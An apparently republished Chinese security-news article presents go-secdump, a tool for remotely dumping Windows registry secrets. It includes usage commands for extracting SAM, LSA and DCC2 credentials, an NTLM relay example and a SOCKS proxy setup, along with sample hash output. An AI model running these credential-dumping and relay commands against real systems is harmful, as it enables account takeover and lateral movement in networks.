go-secdump是一款功能强大的Windows注册表安全检测工具，该工具基于Go语言开发，能够利用远程转储目标设备Windows注册表中的机密来检测其安全防护态势。
源码构建
git clone https://github.com/jfjallid/go-secdump.gitcd go-secdumpgo build main.goUsage: ./go-secdump [options]options: --host <target> 远程服务器的主机名或IP地址 -P, --port <port> SMB端口 (默认为445) -d, --domain <domain> 用于登录的域用户名 -u, --user <username> 用户名 -p, --pass <pass> 密码 -n, --no-pass 禁用密码提示，不发送凭据 --hash <NT Hash> 用户密码的十六进制编码NT哈希 --local 作为本地用户而不是域用户进行身份验证 --dump 将SAM和SECURITY配置单元保存到磁盘 --sam 显式提取SAM配置单元中的机密 --lsa 显式提取LSA机密 --dcc2 显式提取DCC2缓存 --backup-dacl 在修改之前将原始DACL存储至磁盘 --restore-dacl 使用磁盘备份恢复DACL --backup-file DACL备份文件名 (默认为dacl.backup) --relay 启用SMB监听器，用于将NTLM身份验证中继到远程服务器，强制使用SMB 2.1，无加密 --relay-port <port> 监听端口实现中继 (默认为445) --socks-host <target> 通过SOCKS5代理服务器建立连接 --socks-port <port> SOCKS5 proxy port (默认为1080) -t, --timeout 超时时长 (默认为5) --noenc 禁用SMB加密 --smb2 强制使用SMB 2.1 --debug 启用Debug模式 --verbose 启用Verbose模式 -o, --output 写入结果的文件名 (默认为stdout) -v, --version 显示工具版本信息修改DACL
转储所有的注册表机密
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2仅转储SAM、LSA或DCC2缓存机密
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2NTLM中继
./go-secdump --host 192.168.0.100 -n --relayYYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.localAdministrator) against (192.168.0.100:445)!Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda02023/12/13 14:47:28 [Notice] [+] Signing is NOT required2023/12/13 14:47:28 [Notice] [+] Login successful as domain.localAdministrator[*] Dumping local SAM hashesName: AdministratorRID: 500NT: 2727D7906A776A77B34D0430EAACD2C5Name: GuestRID: 501NT: <empty>Name: DefaultAccountRID: 503NT: <empty>Name: WDAGUtilityAccountRID: 504NT: <empty>[*] Dumping LSA Secrets[*] $MACHINE.ACC$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...[*] DPAPI_SYSTEMdpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939[*] NL$KMNL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74[*] Dumping cached domain credentials (domain/username:hash)DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab...SOCKS代理
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server..../go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
原文始发于微信公众号（FreeBuf）：go-secdump：一款Windows注册表安全测试工具
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论